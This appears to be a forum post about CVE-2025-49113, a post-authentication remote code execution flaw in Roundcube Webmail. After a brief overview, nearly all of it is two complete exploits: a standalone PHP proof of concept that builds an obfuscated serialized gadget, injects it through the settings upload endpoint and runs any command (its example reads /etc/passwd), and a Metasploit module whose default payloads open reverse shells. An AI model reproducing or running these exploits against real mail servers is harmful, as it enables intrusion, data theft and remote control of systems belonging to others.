14-06-25, 01:02 AM
OverviewA critical vulnerability has been discovered in Roundcube Webmail (versions < 1.5.10 and 1.6.0–1.6.10) that allows authenticated users to perform remote code execution through a PHP object deserialization flaw triggered by improper validation of the _from parameter in program/actions/settings/upload.php. The flaw carries a CVSS 3.1 score of 9.9 (Critical)
Metasploit Version:
- CVE ID: CVE-2025-49113
- Severity: Critical
- CVSS Score: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- EPSS Score: 0.00661
- EPSS Percentile: %70 (Likely to be exploited)
- Published: June 1, 2025
- Affected Versions: All versions prior to 1.5.10, 1.6.11
- Patched Versions: 1.5.10, 1.6.11
Code:
<?php
/**
* Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
*
* Universal PoC for any PHP version
*
*
* Vulnerable on RC Version: 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.5.7, 1.5.8, 1.5.9, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.6.9, 1.6.10
*
* Main execution flow.
* php CVE-2025-49113.php http://roundcube.local username password "cat /etc/passwd"
*
*
* Disclaimer:
* This proof-of-concept code is provided for educational and research purposes only.
* The author and contributors assume no responsibility for any misuse or damage
* resulting from the use of this code. Unauthorized use on systems you do not own
* or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
*
* @param array<string> $argv
* @return void
*/
function main(array $argv): void
{
message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');
if (count($argv) < 5) {
message(
sprintf(
'Usage: php %s <target_url> <username> <password> <command>',
basename(__FILE__)
),
1
);
}
[$_, $targetUrl, $username, $password, $command] = $argv;
try {
validateUrl($targetUrl);
// Initial request to get CSRF token and starting session cookies
[$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl);
// Authenticate using the initial cookie
$sessionCookie = authenticate(
$targetUrl,
$username,
$password,
$csrfToken,
$initialCookie
);
message("Command to be executed: \n" . $command);
// Prepare and inject payload
[$payloadName, $payloadFile] = calcPayload($command);
injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile);
// Trigger and cleanup
executePayload($targetUrl, $sessionCookie);
message('Exploit executed successfully');
} catch (\Exception $e) {
message('Error: ' . $e->getMessage(), 1);
}
}
// -----------------------------------------------------------------------------
// Helper functions
// -----------------------------------------------------------------------------
/**
* Validates the target URL.
*
* @param string $url
* @throws \Exception
*/
function validateUrl(string $url): void
{
if (false === filter_var($url, FILTER_VALIDATE_URL)) {
throw new \Exception('Invalid target URL: ' . $url);
}
}
/**
* Retrieves CSRF token and session cookie from initial GET.
*
* @param string $targetUrl
* @return array{string, string} [urlencoded csrf token, initial cookie string]
* @throws RuntimeException If request fails or token missing
*/
function fetchCsrfTokenAndCookie(string $targetUrl): array
{
message('Retrieving CSRF token and session cookie...');
$context = stream_context_create(['http' => ['method' => 'GET']]);
$body = @file_get_contents($targetUrl . '/', false, $context);
if (false === $body) {
throw new \RuntimeException('Failed to fetch initial page for CSRF token');
}
$rawHeaders = $http_response_header ?? [];
$headersStr = implode("\r\n", $rawHeaders);
$token = getToken($body);
$cookie = getCookie($headersStr);
return [$token, $cookie];
}
/**
* Authenticates to Roundcube and returns the updated session cookie.
*
* @param string $targetUrl
* @param string $user
* @param string $pass
* @param string $token
* @param string $cookie Existing cookie from initial request
* @return string Combined session cookie
* @throws RuntimeException on authentication failure
*/
function authenticate(
string $targetUrl,
string $user,
string $pass,
string $token,
string $cookie
): string {
message("Authenticating user: {$user}");
$postData = http_build_query([
'_token' => $token,
'_task' => 'login',
'_action' => 'login',
'_timezone' => '_default_',
'_url' => '_task=login',
'_user' => $user,
'_pass' => $pass,
]);
$headers = [
'Content-Type: application/x-www-form-urlencoded',
"Cookie: {$cookie}",
];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => implode("\r\n", $headers),
'content' => $postData,
'follow_location' => 0,
],
]);
$body = @file_get_contents($targetUrl . '/?_task=login', false, $context);
$respHeaders = implode("\r\n", $http_response_header ?? []);
if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) {
throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));
}
message('Authentication successful');
return getCookie($respHeaders);
}
/**
* Injects the malicious payload via the user settings upload endpoint.
*
* @param string $targetUrl
* @param string $cookie
* @param string $payloadName
* @param string $payloadFile
* @return void
* @throws \Exception
*/
function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void
{
message('Injecting payload...');
$boundary = '------a_rule_for_WAF_to_block_fool_exploitation';
$multipart = implode("\r\n", [
'--' . $boundary,
'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"',
'Content-Type: image/png',
'',
base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),
'--' . $boundary . '--',
]);
$headers = implode("\r\n", [
'X-Requested-With: XMLHttpRequest',
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Cookie: ' . $cookie,
]);
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => $headers,
'content' => $multipart,
],
]);
$url = sprintf(
'%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',
$targetUrl,
urlencode($payloadName)
);
message('End payload: ' . $url);
$response = @file_get_contents($url, false, $context);
if (false === $response || strpos($response, 'preferences_time') === false) {
throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response'));
}
message('Payload injected successfully');
}
/**
* Triggers execution of the injected payload by serializing session data.
*
* @param string $targetUrl
* @param string $cookie
* @return void
*/
function executePayload(string $targetUrl, string $cookie): void
{
message('Executing payload...');
$token = getToken(
file_get_contents(
$targetUrl . '/',
false,
stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
)
);
file_get_contents(
sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token),
false,
stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
);
}
/**
* Extracts and encodes the CSRF token from response body.
*
* @param string $body HTTP response body
* @return string URL-encoded token
* @throws RuntimeException If token is not found
*/
function getToken(string $body): string
{
if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) {
return rawurlencode($matches[1]);
}
throw new \RuntimeException('CSRF token not found in response body');
}
/**
* Aggregates Set-Cookie headers into a single cookie string.
*
* @param string $headers Raw HTTP headers
* @param string $existing Any existing cookie string to preserve
* @return string Concatenated cookies
*/
function getCookie(string $headers, string $existing = ''): string
{
$cookies = [];
if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) {
foreach ($matches as [$full, $key, $value]) {
if ($value === '-del-') {
continue;
}
$cookies[] = sprintf('%s=%s', $key, $value);
}
}
return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : '');
}
/**
* Magic is happening here
*/
function calcPayload($cmd){
class Crypt_GPG_Engine{
private $_gpgconf;
function __construct($cmd){
$this->_gpgconf = $cmd.';#';
}
}
$payload = serialize(new Crypt_GPG_Engine($cmd));
$payload = process_serialized($payload) . 'i:0;b:0;';
$append = strlen(12 + strlen($payload)) - 2;
$_from = '!";i:0;'.$payload.'}";}}';
$_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png';
$_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation
return [$_from, $_file];
}
/**
* PHPGGC magic
*/
function process_serialized($serialized, $full = false){
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string[$i];
if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */)
$letter = sprintf("\\%02x", ord($letter));
$clean_string .= $letter;
}
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
/**
* Prints a formatted message and optionally exits.
*
* @param string $text Message to print
* @param int $exitCode Exit code (0 to continue)
* @return void
*/
function message(string $text, int $exitCode = 0): void
{
echo '### ' . $text . PHP_EOL . PHP_EOL;
if ($exitCode !== 0) {
exit($exitCode);
}
}
main($argv);
Metasploit Version:
Code:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
'Description' => %q{
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
by authenticated users because the _from parameter in a URL is not validated
in program/actions/settings/upload.php, leading to PHP Object Deserialization.
An attacker can execute arbitrary system commands as the web server.
},
'Author' => [
'Maksim Rogov', # msf module
'Kirill Firsov', # disclosure and original exploit
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-49113'],
['URL', 'https://fearsoff.org/research/roundcube']
],
'DisclosureDate' => '2025-06-02',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Platform' => ['unix', 'linux'],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :nix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
]
)
end
class PhpPayloadBuilder
def initialize(command)
@encoded = Rex::Text.encode_base32(command)
@gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
end
def build
len = @gpgconf.bytesize
%(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
end
end
def fetch_login_page
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
res
end
def check
res = fetch_login_page
unless res.body =~ /"rcversion"\s*:\s*(\d+)/
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
end
version = Rex::Version.new(Regexp.last_match(1).to_s)
print_good("Extracted version: #{version}")
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
return CheckCode::Appears
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
return CheckCode::Appears
end
CheckCode::Safe
end
def build_serialized_payload
print_status('Preparing payload...')
stager = case target['Type']
when :nix_cmd
payload.encoded
when :linux_dropper
generate_cmdstager.join(';')
else
fail_with(Failure::BadConfig, 'Unsupported target type')
end
serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
print_good('Payload successfully generated and serialized.')
serialized
end
def exploit
token = fetch_csrf_token
login(token)
payload_serialized = build_serialized_payload
upload_payload(payload_serialized)
end
def fetch_csrf_token
print_status('Fetching CSRF token...')
res = fetch_login_page
html = res.get_html_document
token_input = html.at('input[name="_token"]')
unless token_input
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
end
token = token_input.attributes.fetch('value', nil)
if token.blank?
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
end
print_good("Extracted token: #{token}")
token
end
def login(token)
print_status('Attempting login...')
vars_post = {
'_token' => token,
'_task' => 'login',
'_action' => 'login',
'_url' => '_task=login',
'_user' => datastore['USERNAME'],
'_pass' => datastore['PASSWORD']
}
vars_post['_host'] = datastore['HOST'] if datastore['HOST']
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => vars_post,
'vars_get' => { '_task' => 'login' }
)
fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
print_good('Login successful.')
end
def generate_from
options = [
'compose',
'reply',
'import',
'settings',
'folders',
'identity'
]
options.sample
end
def generate_id
random_data = SecureRandom.random_bytes(8)
timestamp = Time.now.to_f.to_s
Digest::MD5.hexdigest(random_data + timestamp)
end
def generate_uploadid
millis = (Time.now.to_f * 1000).to_i
"upload#{millis}"
end
def upload_payload(payload_filename)
print_status('Uploading malicious payload...')
# 1x1 transparent pixel image
png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
boundary = Rex::Text.rand_text_alphanumeric(8)
data = ''
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
data << "Content-Type: image/png\r\n\r\n"
data << png_data
data << "\r\n--#{boundary}--\r\n"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
})
print_good('Exploit attempt complete. Check for session.')
end
end